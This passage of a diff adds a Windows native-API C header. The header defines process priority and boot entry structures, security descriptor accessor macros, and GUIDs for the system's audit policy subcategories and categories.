PROCESS_PRIORITY_CLASS_UNKNOWN 0 +#define PROCESS_PRIORITY_CLASS_IDLE 1 +#define PROCESS_PRIORITY_CLASS_NORMAL 2 +#define PROCESS_PRIORITY_CLASS_HIGH 3 +#define PROCESS_PRIORITY_CLASS_REALTIME 4 +#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 +#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 + +typedef struct _PROCESS_PRIORITY_CLASS { + BOOLEAN Foreground; + UCHAR PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PROCESS_FOREGROUND_BACKGROUND { + BOOLEAN Foreground; +} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; + +typedef struct _FILE_PATH { + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[ANYSIZE_ARRAY]; +} FILE_PATH, *PFILE_PATH; + +#define FILE_PATH_VERSION 1 + +#define FILE_PATH_TYPE_ARC 1 +#define FILE_PATH_TYPE_ARC_SIGNATURE 2 +#define FILE_PATH_TYPE_NT 3 +#define FILE_PATH_TYPE_EFI 4 + +#define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC +#define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI + +typedef struct _WINDOWS_OS_OPTIONS { + UCHAR Signature[8]; + ULONG Version; + ULONG Length; + ULONG OsLoadPathOffset; + WCHAR OsLoadOptions[ANYSIZE_ARRAY]; + //FILE_PATH OsLoadPath; +} WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; + +#define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" + +#define WINDOWS_OS_OPTIONS_VERSION 1 + +typedef struct _BOOT_ENTRY { + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[ANYSIZE_ARRAY]; + //WCHAR FriendlyName[ANYSIZE_ARRAY]; + //FILE_PATH BootFilePath; +} BOOT_ENTRY, *PBOOT_ENTRY; + +typedef struct _BOOT_OPTIONS { + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; +} BOOT_OPTIONS, *PBOOT_OPTIONS; + + +// +// Security APIs. +// + +typedef struct _USER_SID +{ + SID_IDENTIFIER_AUTHORITY sidAuthority; + ULONG UserGroupId; + ULONG UserId; +} USER_SID, *PUSER_SID; + + +typedef struct _USER_PERMISSION +{ + USER_SID UserSid; // identifies the user for whom you want to grant permissions to + ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE + BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) + ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) + ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) + ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) +} USER_PERMISSION, *PUSER_PERMISSION; + +#define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) +#define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) + +// +// Macros for calculating the address of the components of a security +// descriptor. This will calculate the address of the field regardless +// of whether the security descriptor is absolute or self-relative form. +// A null value indicates the specified field is not present in the +// security descriptor. +// + +#define RtlpOwnerAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ + ) : \ + (PSID)((SD)->Owner) \ + ) + +#define RtlpGroupAddrSecurityDescriptor( SD ) \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ + (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ + ) : \ + (PSID)((SD)->Group) \ + ) + +#define RtlpSaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ + ) : \ + (PACL)((SD)->Sacl) \ + ) \ + ) + +#define RtlpDaclAddrSecurityDescriptor( SD ) \ + ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ + (PACL)NULL : \ + ( ((SD)->Control & SE_SELF_RELATIVE) ? \ + ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ + (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ + ) : \ + (PACL)((SD)->Dacl) \ + ) \ + ) + + +// +// Macro to determine if the given ID has the owner attribute set, +// which means that it may be assignable as an owner +// The GroupSid should not be marked for UseForDenyOnly. +// + +#define RtlpIdAssignableAsOwner( G ) \ + ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ + (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) + +// +// Macro to copy the state of the passed bits from the old security +// descriptor (OldSD) into the Control field of the new one (NewSD) +// + +#define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ + ( NewSD )->Control |= \ + ( \ + ( OldSD )->Control & ( Bits ) \ + ) + + +// +// Macro to query whether or not the passed set of bits are ALL on +// or not (ie, returns FALSE if some are on and not others) +// + +#define RtlpAreControlBitsSet( SD, Bits ) \ + (BOOLEAN) \ + ( \ + (( SD )->Control & ( Bits )) == ( Bits ) \ + ) + +// +// Macro to set the passed control bits in the given Security Descriptor +// + +#define RtlpSetControlBits( SD, Bits ) \ + ( \ + ( SD )->Control |= ( Bits ) \ + ) + +// +// Macro to clear the passed control bits in the given Security Descriptor +// + +#define RtlpClearControlBits( SD, Bits ) \ + ( \ + ( SD )->Control &= ~( Bits ) \ + ) + + +// +// Local Security Authority APIs. +// + +#ifdef DEFINE_GUID + +/* 0cce9210-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) + DEFINE_GUID( + Audit_System_SecurityStateChange, + 0x0cce9210, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecurityStateChange_defined + #endif +#endif + +/* 0cce9211-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) + DEFINE_GUID( + Audit_System_SecuritySubsystemExtension, + 0x0cce9211, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_SecuritySubsystemExtension_defined + #endif +#endif + +/* 0cce9212-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) + DEFINE_GUID( + Audit_System_Integrity, + 0x0cce9212, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Integrity_defined + #endif +#endif + +/* 0cce9213-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) + DEFINE_GUID( + Audit_System_IPSecDriverEvents, + 0x0cce9213, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_IPSecDriverEvents_defined + #endif +#endif + +/* 0cce9214-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_Others_defined) + DEFINE_GUID( + Audit_System_Others, + 0x0cce9214, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_Others_defined + #endif +#endif + +/* 0cce9215-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) + DEFINE_GUID( + Audit_Logon_Logon, + 0x0cce9215, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logon_defined + #endif +#endif + +/* 0cce9216-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) + DEFINE_GUID( + Audit_Logon_Logoff, + 0x0cce9216, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Logoff_defined + #endif +#endif + +/* 0cce9217-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) + DEFINE_GUID( + Audit_Logon_AccountLockout, + 0x0cce9217, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_AccountLockout_defined + #endif +#endif + +/* 0cce9218-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecMainMode, + 0x0cce9218, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecMainMode_defined + #endif +#endif + +/* 0cce9219-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecQuickMode, + 0x0cce9219, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecQuickMode_defined + #endif +#endif + +/* 0cce921a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) + DEFINE_GUID( + Audit_Logon_IPSecUserMode, + 0x0cce921a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_IPSecUserMode_defined + #endif +#endif + +/* 0cce921b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) + DEFINE_GUID( + Audit_Logon_SpecialLogon, + 0x0cce921b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_SpecialLogon_defined + #endif +#endif + +/* 0cce921c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) + DEFINE_GUID( + Audit_Logon_Others, + 0x0cce921c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_Others_defined + #endif +#endif + +/* 0cce921d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) + DEFINE_GUID( + Audit_ObjectAccess_FileSystem, + 0x0cce921d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FileSystem_defined + #endif +#endif + +/* 0cce921e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) + DEFINE_GUID( + Audit_ObjectAccess_Registry, + 0x0cce921e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Registry_defined + #endif +#endif + +/* 0cce921f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) + DEFINE_GUID( + Audit_ObjectAccess_Kernel, + 0x0cce921f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Kernel_defined + #endif +#endif + +/* 0cce9220-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) + DEFINE_GUID( + Audit_ObjectAccess_Sam, + 0x0cce9220, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Sam_defined + #endif +#endif + +/* 0cce9221-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) + DEFINE_GUID( + Audit_ObjectAccess_CertificationServices, + 0x0cce9221, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_CertificationServices_defined + #endif +#endif + +/* 0cce9222-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) + DEFINE_GUID( + Audit_ObjectAccess_ApplicationGenerated, + 0x0cce9222, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_ApplicationGenerated_defined + #endif +#endif + +/* +The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. +For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: +0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be +enabled. For eg, to generate handle based audits for Reg keys, both +Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled +*/ + +/* 0cce9223-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) + DEFINE_GUID( + Audit_ObjectAccess_Handle, + 0x0cce9223, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Handle_defined + #endif +#endif + +/* 0cce9224-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) + DEFINE_GUID( + Audit_ObjectAccess_Share, + 0x0cce9224, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Share_defined + #endif +#endif + +/* 0cce9225-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallPacketDrops, + 0x0cce9225, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallPacketDrops_defined + #endif +#endif + +/* 0cce9226-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) + DEFINE_GUID( + Audit_ObjectAccess_FirewallConnection, + 0x0cce9226, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_FirewallConnection_defined + #endif +#endif + +/* 0cce9227-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) + DEFINE_GUID( + Audit_ObjectAccess_Other, + 0x0cce9227, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_Other_defined + #endif +#endif + +/* 0cce9228-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Sensitive, + 0x0cce9228, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Sensitive_defined + #endif +#endif + +/* 0cce9229-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) + DEFINE_GUID( + Audit_PrivilegeUse_NonSensitive, + 0x0cce9229, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_NonSensitive_defined + #endif +#endif + +/* 0cce922a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) + DEFINE_GUID( + Audit_PrivilegeUse_Others, + 0x0cce922a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PrivilegeUse_Others_defined + #endif +#endif + +/* 0cce922b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessCreation, + 0x0cce922b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessCreation_defined + #endif +#endif + +/* 0cce922c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) + DEFINE_GUID( + Audit_DetailedTracking_ProcessTermination, + 0x0cce922c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_ProcessTermination_defined + #endif +#endif + +/* 0cce922d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) + DEFINE_GUID( + Audit_DetailedTracking_DpapiActivity, + 0x0cce922d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_DpapiActivity_defined + #endif +#endif + +/* 0cce922e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) + DEFINE_GUID( + Audit_DetailedTracking_RpcCall, + 0x0cce922e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DetailedTracking_RpcCall_defined + #endif +#endif + +/* 0cce922f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuditPolicy, + 0x0cce922f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuditPolicy_defined + #endif +#endif + +/* 0cce9230-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthenticationPolicy, + 0x0cce9230, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthenticationPolicy_defined + #endif +#endif + +/* 0cce9231-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_AuthorizationPolicy, + 0x0cce9231, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_AuthorizationPolicy_defined + #endif +#endif + +/* 0cce9232-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_MpsscvRulePolicy, + 0x0cce9232, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_MpsscvRulePolicy_defined + #endif +#endif + +/* 0cce9233-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) + DEFINE_GUID( + Audit_PolicyChange_WfpIPSecPolicy, + 0x0cce9233, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_WfpIPSecPolicy_defined + #endif +#endif + +/* 0cce9234-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) + DEFINE_GUID( + Audit_PolicyChange_Others, + 0x0cce9234, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_PolicyChange_Others_defined + #endif +#endif + +/* 0cce9235-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_UserAccount, + 0x0cce9235, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_UserAccount_defined + #endif +#endif + +/* 0cce9236-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) + DEFINE_GUID( + Audit_AccountManagement_ComputerAccount, + 0x0cce9236, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ComputerAccount_defined + #endif +#endif + +/* 0cce9237-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_SecurityGroup, + 0x0cce9237, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_SecurityGroup_defined + #endif +#endif + +/* 0cce9238-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_DistributionGroup, + 0x0cce9238, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_DistributionGroup_defined + #endif +#endif + +/* 0cce9239-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) + DEFINE_GUID( + Audit_AccountManagement_ApplicationGroup, + 0x0cce9239, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_ApplicationGroup_defined + #endif +#endif + +/* 0cce923a-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) + DEFINE_GUID( + Audit_AccountManagement_Others, + 0x0cce923a, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountManagement_Others_defined + #endif +#endif + +/* 0cce923b-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) + DEFINE_GUID( + Audit_DSAccess_DSAccess, + 0x0cce923b, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DSAccess_DSAccess_defined + #endif +#endif + +/* 0cce923c-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) + DEFINE_GUID( + Audit_DsAccess_AdAuditChanges, + 0x0cce923c, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_DsAccess_AdAuditChanges_defined + #endif +#endif + +/* 0cce923d-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) + DEFINE_GUID( + Audit_Ds_Replication, + 0x0cce923d, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_Replication_defined + #endif +#endif + +/* 0cce923e-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) + DEFINE_GUID( + Audit_Ds_DetailedReplication, + 0x0cce923e, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Ds_DetailedReplication_defined + #endif +#endif + +/* 0cce923f-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_CredentialValidation, + 0x0cce923f, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_CredentialValidation_defined + #endif +#endif + +/* 0cce9240-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) + DEFINE_GUID( + Audit_AccountLogon_Kerberos, + 0x0cce9240, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Kerberos_defined + #endif +#endif + +/* 0cce9241-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) + DEFINE_GUID( + Audit_AccountLogon_Others, + 0x0cce9241, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_Others_defined + #endif +#endif + +/* 0cce9242-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) + DEFINE_GUID( + Audit_AccountLogon_KerbCredentialValidation, + 0x0cce9242, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_AccountLogon_KerbCredentialValidation_defined + #endif +#endif + +/* 0cce9243-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) + DEFINE_GUID( + Audit_Logon_NPS, + 0x0cce9243, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_NPS_defined + #endif +#endif + +/* 0cce9244-69ae-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) + DEFINE_GUID( + Audit_ObjectAccess_DetailedFileShare, + 0x0cce9244, + 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_ObjectAccess_DetailedFileShare_defined + #endif +#endif + +#endif // DEFINE_GUID + + +// +// All categories are named as +// + +#ifdef DEFINE_GUID + +/* 69979848-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_System_defined) + DEFINE_GUID( + Audit_System, + 0x69979848, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_System_defined + #endif +#endif + +/* 69979849-797a-11d9-bed3-505054503030 */ +#if !defined(INITGUID) || !defined(Audit_Logon_defined) + DEFINE_GUID( + Audit_Logon, + 0x69979849, + 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 + ); + #ifdef INITGUID + #define Audit_Logon_defined + #endif +#endif + +/* 